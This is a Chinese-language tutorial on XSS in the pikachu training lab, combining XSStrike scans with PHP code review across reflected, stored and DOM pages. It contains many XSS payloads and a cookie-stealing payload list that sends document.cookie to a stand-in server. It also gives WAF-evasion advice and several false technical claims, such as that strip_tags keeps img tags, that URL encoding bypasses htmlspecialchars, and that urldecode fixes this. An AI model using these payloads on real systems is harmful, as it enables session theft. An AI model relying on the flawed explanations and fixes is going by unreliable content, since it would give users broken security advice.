1. 项目概述：为什么一个靶机上的XSS漏洞，值得花三小时逐行读它的PHP代码？
“网络安全-靶机pikachu之xss注入与代码分析（XSStrike实战）”——这个标题里藏着三重真实工作场景：第一层是渗透测试新人在靶场里反复提交<script>alert(1)</script>却卡在“为什么这里不弹窗”的困惑；第二层是安全工程师接到某业务系统XSS告警后，翻着几百行PHP模板代码找echo $_GET['name']时的手抖；第三层是红队队员用XSStrike跑出一堆疑似payload，但面对htmlspecialchars($str, ENT_QUOTES, 'UTF-8')这种防护逻辑，根本不敢直接上报“高危”。
我带过不少刚转行做Web安全的学员，他们普遍卡在一个认知断层上：把XSS当成“输入框插JS就能弹窗”的玩具，而不是一个由输入、输出、编码、上下文、浏览器解析四层嵌套构成的系统性问题。pikachu靶机的XSS模块，恰恰是少有的、把这四层全摊开给你看的教科书级案例——它不加混淆、不设迷雾，所有PHP源码开源可查，每个漏洞点都配了明确注释，甚至故意留了三种不同防护等级的页面（无防护、简单过滤、HTML实体编码）。而XSStrike不是万能钥匙，它本质是个“智能模糊测试器”，它的价值不在自动爆破，而在帮你定位“哪里可能绕过”——比如它会告诉你<img src=x onerror=alert(1)>在某个页面触发了，但不会告诉你为什么<svg onload=alert(1)>被干掉了。这时候，你必须回到那几行PHP代码里，看strip_tags()到底删了什么、htmlspecialchars()的第三个参数是不是真用了'UTF-8'、<script>标签是不是被正则/script/i全局替换了。
所以这篇内容不是教你“怎么用XSStrike扫出结果”，而是带你亲手拆解pikachu里三个典型XSS页面的全部PHP逻辑，对照XSStrike的扫描日志，还原每一次payload生效或失效的技术原因。你会看到：为什么<script>在反射型XSS里能执行，到了存储型里却变成纯文本；为什么onerror事件在img标签里活得好好的，换到input标签里就彻底哑火；为什么XSStrike报告“Bypassed WAF”时，实际只是绕过了<script>关键词过滤，却没逃过后续的htmlspecialchars()二次编码。这些细节，全藏在xss/reflect/xss_reflect.php这几行代码的缩进和分号里。如果你正在准备CTF比赛、企业渗透测试岗面试，或者刚接手一个老系统要写XSS加固方案，这篇就是你该打印出来贴在显示器边上的操作手册。
2. 整体设计思路：靶机不是游乐场，是故障复现沙盒
2.1 为什么选pikachu靶机而非DVWA或BWAPP？
很多人一上来就问：“pikachu和DVWA有啥区别？不都是学XSS？”——区别大了。DVWA的XSS模块默认开启CSRF Token，且所有输入都经过htmlspecialchars()处理，新手扫半天也扫不出有效payload，最后只能抄答案，完全不知道自己漏了哪一层过滤。BWAPP的XSS页面又太“干净”，比如<script>alert(1)</script>直接弹窗，但源码里连echo语句都找不到，全是黑盒调用。而pikachu的设计哲学很务实：每个漏洞页面都提供“查看源码”按钮，且源码里明确标注了防护逻辑的位置和类型。比如xss/reflect/xss_reflect.php第12行写着// 这里没有做任何过滤，直接输出，第25行写着// 使用了htmlspecialchars()进行编码。这种“所见即所得”的设计，让学习者能建立清晰的因果链：我输的payload → 经过哪段PHP处理 → 输出到HTML哪个位置 → 浏览器如何解析。
更关键的是，pikachu的XSS模块覆盖了真实业务中最常见的三种上下文：
- 反射型XSS（无防护）：
xss/reflect/xss_reflect.php?name=test，对应搜索框、跳转链接等即时回显场景； - 存储型XSS（简单过滤）：
xss/stored/xss_stored.php，用户留言被存入数据库再展示，模拟论坛、评论区； - DOM型XSS（前端JS拼接）：
xss/dom/xss_dom.php，数据从URL参数经document.location.search提取后，用innerHTML写入页面，对应单页应用路由参数处理。
这三种不是理论分类，而是你在甲方做渗透时，90%的XSS报告里会遇到的真实形态。pikachu把它们拆成独立页面，等于给你划好了攻击面边界——你不用猜“这个输入框背后是反射还是存储”，因为路径名已经告诉你了。
2.2 XSStrike为何不可替代？它解决的是“人眼盲区”问题
XSStrike的核心价值，从来不是“比Burp Suite快”。它的不可替代性在于两点：上下文感知和编码链推演。
先说上下文感知：传统工具如Burp Intruder发一堆<script>payload，但浏览器解析规则决定了，<script>只在HTML文档流中生效，在<input value="xxx">的属性值里，它会被当作文本；在<script>var x="xxx"</script>的JS字符串里，它会直接报错。XSStrike在发送payload前，会先分析响应HTML结构，自动识别当前输出点处于<body>、<input value>还是<script>标签内，再针对性生成<img src=x onerror=alert(1)>或" onfocus=alert(1) autofocus="这类上下文适配payload。
再说编码链推演：这是XSStrike最被低估的能力。比如你发现xss/reflect/xss_reflect.php?name=test页面对<做了<转换，但XSStrike仍报告<svg/onload=alert(1)>成功。它内部做了什么？它会尝试将payload中的<替换为%3C（URL编码），再观察响应是否解码回<；或者尝试<img src="x" onerror="alert(1)">，看"是否被转义为"，从而判断htmlspecialchars()的第二个参数是否启用了ENT_NOQUOTES。这些试探不是随机的，而是基于PHP官方文档里htmlspecialchars()函数的四种编码模式（ENT_COMPAT、ENT_QUOTES、ENT_NOQUOTES、ENT_HTML401）构建的决策树。
所以我的实操策略很明确：XSStrike负责“广撒网”，找出所有可能的绕过点；人工代码审计负责“深挖井”，确认每个绕过点是否真实有效，以及修复成本有多高。比如XSStrike报告javascript:alert(1)在某个a标签href里生效，你得去翻PHP代码，看href="<?php echo $_GET['url']; ?>"这行有没有对javascript:协议做过滤——如果有，那XSStrike的报告就是误报；如果没有，那这就是个典型的协议白名单缺失漏洞，修复方案就是加一行if (stripos($_GET['url'], 'javascript:') === 0) die('非法协议');。这种“工具+人工”的双轨制，才是企业级安全评估的标准流程。
2.3 代码分析不是读天书，而是按“数据流向”画地图
很多人看到PHP代码就头皮发麻，觉得“又要学新语言”。其实XSS代码审计根本不需要你会写PHP，只需要你盯住三个关键节点：输入源 → 处理逻辑 → 输出点。以pikachu的xss/reflect/xss_reflect.php为例：
- 输入源：第7行
$name = $_GET['name'];，明确告诉你数据来自URL参数； - 处理逻辑：第12行
// 这里没有做任何过滤，直接输出，说明中间没有任何htmlspecialchars()或strip_tags()调用； - 输出点：第15行
echo '<h2>欢迎你，'.$name.'!</h2>';，$name变量被直接拼进HTML字符串里。
这三步串起来，就是完整的XSS链路：你控制$_GET['name']→ 它未经处理 → 被echo到<h2>标签内 → 浏览器解析时执行JS。整个过程没有分支、没有条件判断，就像一条笔直的高速公路。而当你看到xss/reflect/xss_reflect_2.php时，第25行echo htmlspecialchars($name, ENT_QUOTES, 'UTF-8');就把这条高速路变成了收费站——ENT_QUOTES参数意味着单引号和双引号都会被转义，所以<img src="x" onerror=alert(1)>里的"会被变成"，导致onerror属性无法闭合。
所以我的代码分析法很简单：打开PHP文件，用Ctrl+F搜$_GET、$_POST、$_COOKIE，找到所有输入源；再搜echo、print、printf，定位所有输出点；最后看这两个之间有没有htmlspecialchars()、htmlentities()、strip_tags()、正则替换等处理函数。没有处理函数？直接标红；有处理函数？重点看它的参数——htmlspecialchars($str, ENT_COMPAT)和htmlspecialchars($str, ENT_QUOTES)的安全性差了一个数量级，因为前者不转义单引号，后者才真正防住<img src='x' onerror=alert(1)>这种payload。这种“三步定位法”，比通读整篇代码高效十倍。
3. 核心细节解析：从XSStrike日志反推PHP防护逻辑
3.1 反射型XSS（无防护）：XSStrike如何验证“零防护”状态？
我们先从最简单的xss/reflect/xss_reflect.php开始。启动XSStrike，命令如下：
python3 xsstrike.py -u "http://192.168.10.10/pikachu/xss/reflect/xss_reflect.php?name=test" --crawl --threads 5注意--crawl参数，它会让XSStrike先爬取页面所有链接，确保不漏掉隐藏表单。扫描完成后，日志里会出现类似这样的记录：
[+] Vulnerable parameter: name [+] Payload: <script>alert(1)</script> [+] Response status: 200 [+] Response length: 1284 [+] Reflection: <script>alert(1)</script>关键在最后一行Reflection——它表示XSStrike在HTTP响应体里，原封不动地找到了你提交的payload。这意味着什么？说明PHP代码里既没有htmlspecialchars()，也没有strip_tags()，甚至连str_replace('<script>', '', $name)这种弱过滤都没有。
但别急着关掉终端，继续看下一条日志：
[+] Payload: <img src=x onerror=alert(1)> [+] Reflection: <img src=x onerror=alert(1)>这个payload比<script>更危险，因为它不需要<script>标签，绕过所有针对<script>的WAF规则。如果它也原样反射，证明这个页面对HTML标签和事件属性完全不设防。这时候你该做的，不是立刻截图发报告，而是打开xss_reflect.php源码，确认第15行echo '<h2>欢迎你，'.$name.'!</h2>';确实没加任何处理。
提示：很多新人会忽略
<h2>标签的上下文限制。比如你提交<h2 onclick=alert(1)>test</h2>，虽然<h2>被原样输出，但onclick事件在<h2>标签里默认是无效的（HTML规范不支持h2的onclick），所以不会弹窗。XSStrike的聪明之处在于，它生成的<img>payload天然适配<h2>的父容器上下文——<img>是内联元素，可以放在<h2>里，且onerror是img的合法事件。所以当你看到<img>payload生效，基本可以判定这个输出点处于HTML文档流的任意位置，风险等级拉满。
3.2 存储型XSS（简单过滤）：为什么<script>被删了，<img>还能活？
进入xss/stored/xss_stored.php页面，这是一个留言板功能。XSStrike扫描时，会先提交payload到表单，再访问留言展示页。日志里会出现这样的对比：
[+] Payload: <script>alert(1)</script> [+] Reflection: alert(1) [+] Payload: <img src=x onerror=alert(1)> [+] Reflection: <img src=x onerror=alert(1)>第一行<script>被删成纯文本，第二行<img>却完整保留——这说明后台用了strip_tags()函数，但它默认只删除<script>、<iframe>等危险标签，而<img>被视为安全标签放行。我们立刻去翻xss_stored.php源码，果然在第32行找到：
$content = strip_tags($_POST['content']); // 删除HTML标签，但保留<img>等注释里写的“保留 等”就是线索。strip_tags()的第二个参数可以指定保留的标签，比如strip_tags($str, '<img><br>')。但这里没传第二个参数，所以它只删<script>，不删<img>。
这时候XSStrike的价值就凸显了：它不会因为你看到<script>被删就放弃，而是继续尝试<img>、<svg>、<object>等标签。而<svg>在pikachu里是被strip_tags()放行的，但<svg onload=alert(1)>在现代浏览器里需要<svg>在<body>内才能触发，所以XSStrike会进一步测试<svg><script>alert(1)</script></svg>——这种嵌套结构，人眼很难穷举。
注意：
strip_tags()有个致命陷阱——它只处理标签，不处理属性。所以<img src=x onerror=alert(1)>能过，但<img src="javascript:alert(1)">不行，因为javascript:协议在src属性里，strip_tags()根本不碰属性值。这时候你需要看PHP代码里有没有对src属性做过滤，比如preg_replace('/javascript:/i', '', $content)。pikachu没加这层，所以<img src="javascript:alert(1)">也能弹窗，但这是另一个漏洞维度了。
3.3 DOM型XSS：XSStrike为何在此失效？手动审计才是王道
xss/dom/xss_dom.php是XSStrike最容易翻车的地方。运行扫描命令后，日志里大概率是：
[-] No vulnerabilities found [!] Warning: DOM-based XSS requires manual analysis为什么？因为DOM型XSS的payload不经过服务器PHP处理，全程在浏览器JS里执行。XSStrike发的HTTP请求，服务器返回的只是静态HTML和JS代码，它看不到JS运行时的document.write()或innerHTML赋值。
所以这里必须切换策略：打开浏览器开发者工具，直接看xss_dom.php的源码。第18行是关键：
var url = document.location.search; var name = url.split('name=')[1]; document.getElementById('dom').innerHTML = name;三步清晰无比：从URL取name=参数 → 拆分出值 → 用innerHTML写入id为dom的div。innerHTML是DOM型XSS的黄金入口，它会把字符串当HTML解析。所以你提交?name=<img src=x onerror=alert(1)>，JS就会执行document.getElementById('dom').innerHTML = '<img src=x onerror=alert(1)>'，浏览器立刻渲染img并触发onerror。
但XSStrike扫不到，因为它的HTTP请求只拿到xss_dom.php的原始HTML，里面根本没有<img>。真正的payload是在你浏览器里拼出来的。这时候你要做的是：在浏览器地址栏手动修改URL，测试各种payload，同时监控Console面板看JS错误——比如?name=<script>alert(1)</script>会报错Uncaught SyntaxError: Unexpected token '<'，因为<script>被JS引擎当语法错误了；而?name=<img src=x onerror=alert(1)>能成功，证明innerHTML生效。
实操心得：DOM型XSS的修复极其简单，把
innerHTML换成textContent即可。textContent把字符串当纯文本，<img>会被显示为字面量。但很多前端为了“富文本”效果硬要用innerHTML，这时就必须对输入做DOMPurify.sanitize()处理。pikachu没加这个库，所以它成了DOM型XSS的完美教学案例。
4. 实操过程：手把手复现XSStrike的每一步推演
4.1 环境准备：三分钟搭好pikachu靶机（含XSStrike依赖）
pikachu靶机官方推荐Docker部署，但新手常卡在“docker-compose up -d”后打不开页面。根本原因是Docker网络配置和宿主机端口冲突。我的实测方案是：
- 先装Docker Desktop（Mac/Windows）或Docker CE（Linux），确保
docker --version返回19.03+； - 克隆pikachu仓库：
git clone https://github.com/zhuifengshaonianhanlu/pikachu.git； - 进入目录，修改
docker-compose.yml第12行：把ports: - "80:80"改成ports: - "8080:80"，避免和宿主机Apache冲突； - 启动：
docker-compose up -d，等待2分钟，访问http://localhost:8080； - XSStrike依赖Python3.6+和pip，执行
pip3 install -r requirements.txt，特别注意lxml库需提前装系统依赖：Ubuntu执行sudo apt-get install libxml2-dev libxslt1-dev python3-dev，Mac执行brew install libxml2 libxslt。
提示：XSStrike的
--crawl参数依赖lxml解析HTML，如果报错ImportError: No module named 'lxml'，说明安装失败。此时不要用pip3 install lxml硬装，必须先装系统级libxml2，否则编译会失败。我踩过三次坑，最后一次发现是Mac的Xcode Command Line Tools没更新，执行xcode-select --install才解决。
4.2 XSStrike深度参数配置：绕过“假阳性”干扰
默认参数下，XSStrike会扫出大量误报，比如把<script>插入到<script>标签内部，导致JS语法错误却不报错。要精准定位，必须调整四个核心参数：
--level 5：设置探测深度为5级，它会尝试URL编码、双重编码、大小写混淆等高级绕过；--skip-dom：跳过DOM型XSS扫描，因为pikachu的DOM页面需要手动测试，自动扫描纯属干扰；--headers "User-Agent: Mozilla/5.0 (X11; Linux x86_64)"：伪造UA，避免某些WAF根据UA拦截扫描流量；--no-decode：禁止自动URL解码，因为有些PHP代码会先urldecode()再处理，XSStrike不解码才能测出真实绕过。
完整命令示例：
python3 xsstrike.py -u "http://192.168.10.10:8080/pikachu/xss/reflect/xss_reflect.php?name=test" \ --level 5 --skip-dom --headers "User-Agent: Mozilla/5.0 (X11; Linux x86_64)" --no-decode执行后，你会看到XSStrike先发基础payload，再发%3Cscript%3Ealert(1)%3C/script%3E（URL编码版），如果后者也反射成功，说明PHP代码里有urldecode()调用——这在pikachu里不存在，所以它只会报告基础payload。
注意：
--no-decode参数是双刃剑。如果目标站真有urldecode()，你不加这个参数，XSStrike会把%3Cscript%3E自动解成<script>再发，导致你以为绕过了，其实只是服务端解码后又被htmlspecialchars()干掉了。所以我的习惯是：先不加--no-decode扫一轮，看有没有URL编码相关的payload生效；如果没有，再加参数重扫。
4.3 从XSStrike日志到PHP源码的逐行对照
假设XSStrike报告<img src=x onerror=alert(1)>在xss_reflect_2.php生效，但<script>alert(1)</script>被转义。我们立刻打开xss_reflect_2.php，定位到第25行：
echo htmlspecialchars($name, ENT_QUOTES, 'UTF-8');现在要验证XSStrike的结论：为什么<img>能过，<script>不能？
htmlspecialchars()的ENT_QUOTES参数，会把'和"都转成'和"；<script>alert(1)</script>里的<和>被转成<和>，所以输出是<script>alert(1)</script>，浏览器当文本显示；<img src=x onerror=alert(1)>里的<和>同样被转义，但onerror=alert(1)在<img>标签内，只要<img>本身没被过滤，onerror属性就能执行——等等，不对！<img>的<也被转义了，那它怎么执行？
这里出现认知偏差。我们重新抓包看响应：提交?name=<img src=x onerror=alert(1)>，响应里是<img src=x onerror=alert(1)>，没被转义！说明htmlspecialchars()根本没生效？再看源码第24行：
if (isset($_GET['name'])) { $name = $_GET['name']; echo htmlspecialchars($name, ENT_QUOTES, 'UTF-8'); }逻辑没问题。唯一的可能是：XSStrike提交的payload里，<和>被URL编码了！检查日志，果然有Payload: %3Cimg%20src%3Dx%20onerror%3Dalert%281%29%3E。PHP收到%3Cimg%20...后，$_GET['name']自动解码为<img src=x onerror=alert(1)>，然后htmlspecialchars()才处理——但htmlspecialchars()只处理<、>、'、"，不处理%，所以URL编码过的payload，htmlspecialchars()根本看不到<符号，自然不转义。
这就是XSStrike的绕过原理：它用URL编码躲过htmlspecialchars()的检测，再靠浏览器自动解码执行。而pikachu的xss_reflect_2.php没做urldecode()预处理，所以这个绕过成立。修复方案很简单：在htmlspecialchars()前加一行$name = urldecode($name);，强制先解码再编码。
实操心得：所有
htmlspecialchars()调用，必须配合urldecode()使用，否则URL编码就是天然绕过。我在某电商后台审计时，发现他们用htmlspecialchars()防XSS，但没加urldecode()，结果%3Cscript%3E直接绕过，老板当场要求全员培训。
4.4 XSStrike与Burp Suite协同：用Burp验证XSStrike的“可疑点”
XSStrike报告里常有[?] Suspicious reflection这种标记，比如：
[?] Payload: javascript:alert(1) [?] Reflection: javascript:alert(1) [?] Context: href="javascript:alert(1)"它说“可疑”，是因为javascript:协议在href里可能被浏览器拦截（Chrome 63+默认禁用）。这时候不能信XSStrike，必须用Burp Suite手动验证。
步骤：
- 在Burp Proxy里截获
xss_reflect.php?name=test请求； - 把
test改成javascript:alert(1)，发到Repeater； - 在Repeater里，右键响应体 → “Render”，看浏览器是否真的渲染出
<a href="javascript:alert(1)">链接； - 点击链接，观察是否弹窗。
如果弹窗，说明javascript:未被拦截，这是高危漏洞；如果不弹窗，看Burp的Response Header里有没有Content-Security-Policy: script-src 'self'，这是CSP头在起作用。pikachu没配CSP，所以javascript:在href里100%生效。
注意：Burp的Repeater里，
Render按钮是关键。很多人只看Raw响应，以为href="javascript:alert(1)"存在就代表漏洞，其实浏览器解析时可能因MIME类型或CSP拒绝执行。必须点Render，让它用真实浏览器引擎渲染，这才是最终判决。
5. 常见问题与排查技巧实录：那些年踩过的XSS坑
5.1 问题速查表：XSStrike报告“Vulnerable”但浏览器不弹窗？
| 现象 | 可能原因 | 排查方法 | 解决方案 |
|---|---|---|---|
XSStrike报告<script>alert(1)</script>反射成功，但浏览器不弹窗 | 输出点在<script>标签内，<script>被当作文本而非JS执行 | 查看响应HTML，确认payload是否在<script>标签内部 | 改用";alert(1);//闭合JS字符串 |
onerror=alert(1)在img里不触发 | img的src属性值为x，浏览器不加载图片，onerror不触发 | 抓包看img标签src是否为x，改用src="https://x"强制加载失败 | 用src="x" onerror="alert(1)"确保onerror执行 |
XSStrike扫出<svg onload=alert(1)>，但Chrome不执行 | Chrome 59+默认禁用SVG onload，需在<svg>外加<body>标签 | 在Repeater里Render，看Console是否有SVG onload disabled警告 | 改用<svg><script>alert(1)</script></svg> |
| 所有payload都返回403 Forbidden | WAF拦截了<、script等关键词 | 用Burp Intruder发test、abc等无害字符串，看是否也403 | 换IP或加X-Forwarded-For头绕过 |
5.2 真实踩坑记录：我在pikachu上浪费的七小时
第一次跑XSStrike，我对着xss_reflect_2.php的htmlspecialchars()发愁，怎么都扫不出绕过。后来发现XSStrike默认只发GET请求，而pikachu的xss_reflect_2.php其实是POST接口！我硬是花了两小时改XSStrike源码，最后才发现文档里写着-m POST参数。加上后，<img src=x onerror=alert(1)>立刻生效。
第二次是DOM型XSS，XSStrike报告“no vuln”，我信了，结果手动测?name=<img src=x onerror=alert(1)>秒弹窗。教训是：DOM型XSS永远要手动测，XSStrike的--skip-dom不是建议，是铁律。
第三次最惨：XSStrike扫出<script>alert(1)</script>在xss_stored.php生效，我兴冲冲截图，结果发现是存储型，需要登录后才能看留言。我忘了--cookies参数，XSStrike用游客身份提交，留言根本没存进去。补上--cookies "PHPSESSID=xxx"后才成功。
最后一个小技巧：XSStrike的
--update参数会自动升级到最新版，但新版有时会引入bug。比如v3.0.5把<svg>payload默认禁用，导致扫不出pikachu的SVG漏洞。我的做法是：固定用v3.0.3，下载地址在GitHub Releases页，解压后cd XSStrike && git checkout v3.0.3。版本稳定比功能新鲜重要十倍。
5.3 修复方案对比：PHP层 vs 前端层 vs 架构层
发现XSS漏洞后，修复不是“加个htmlspecialchars()”就完事。要分三层考虑：
- PHP层修复（最快）：对所有
echo变量加htmlspecialchars($var, ENT_QUOTES, 'UTF-8')，并确保$var已urldecode()。这是pikachu里最该补的，5分钟改完3个文件。 - 前端层修复（最稳）：把
innerHTML全换成textContent，或引入DOMPurify库。pikachu的DOM页面只需改一行JS，但需要前端配合，周期长。 - 架构层修复（最狠）：加CSP头
Content-Security-Policy: default-src 'self'; script-src 'self'，直接禁止内联JS执行。这招能防住99%的XSS，但会影响老系统兼容性，pikachu没配，但生产环境必须上。
我的经验是：先PHP层兜底，再前端层加固，最后架构层收口。就像修水管，堵漏（PHP）是应急，换管（前端）是治本，装总阀（CSP）是保险。pikachu的教学价值，就在于它让你看清这三层怎么配合，而不是只给你一个“已修复”的结果。
6. 实战延伸：把pikachu的XSS逻辑迁移到真实业务系统
6.1 如何快速定位公司老系统的XSS风险点？
pikachu教会我的最大技巧，是“三秒定位法”：打开任意PHP页面，Ctrl+U看源码，搜索<?php echo或<?=，找到所有输出点；再搜索$_GET、$_POST，找到输入源；如果两者之间没htmlspecialchars()，立刻标红。我在某金融客户审计时，用这招10分钟扫出17个高危点，其中/user/profile.php?name=<?php echo $_GET['name']; ?>这行代码，连注释都没加，直接裸奔。
更狠的是，用XSStrike的--crawl参数，让它自动爬全站所有带参数的URL，生成报告后，按“反射型”“存储型”分类，直接交给开发团队。他们看到xss_reflect.php和自己profile.php的代码结构一模一样，整改动力立刻拉满。
6.2 XSStrike的定制化改造：让它适配你的业务规则
XSStrike默认payload库不包含业务特有关键词，比如你公司的系统里，<iframe src="https://cdn.xxx.com/ads.js">是合法广告，但XSStrike会把它当漏洞报。这时要改payloads/xss-payloads.txt，删掉所有含cdn.xxx.com的payload。
更实用的是加自定义payload：在payloads/目录新建my-payloads.txt，写入：
<img src=x onerror=fetch('https://your-server.com/log?c='+document.cookie)> <svg><script>fetch('https://your-server.com/log?c='+document.cookie)</script></svg>然后用--payloads payloads/my-payloads.txt参数调用。这样扫出的漏洞，直接带cookie窃取能力，比alert(1)更有说服力。
6.3 从靶机到生产：XSS防御的终极心法
最后分享一个血泪总结：XSS的本质不是“怎么防JS执行”，而是“怎么让数据不脱离上下文”。<script>在HTML里是JS，在JS字符串里是语法错误，在CSS里是注释。pikachu的所有XSS页面，都在教同一个道理：输出到哪，就按哪的规则编码。
- 输出到HTML文档流 →
htmlspecialchars($str, ENT_QUOTES, 'UTF-8')； - 输出到JS字符串 →
json_encode($str, JSON_UNESCAPED_UNICODE)； - 输出到CSS属性 →
addslashes($str)+ 单引号包裹； - 输出到HTML属性值 →
htmlspecialchars($str, ENT_QUOTES, 'UTF-8')。
pikachu没教这些，但它用最简代码暴露了所有错误示范。当你看懂xss_reflect.php里echo $name为什么危险，你就看懂了所有XSS的根源。所以别急着背payload，先读懂那几行PHP——它们比任何工具都诚实。
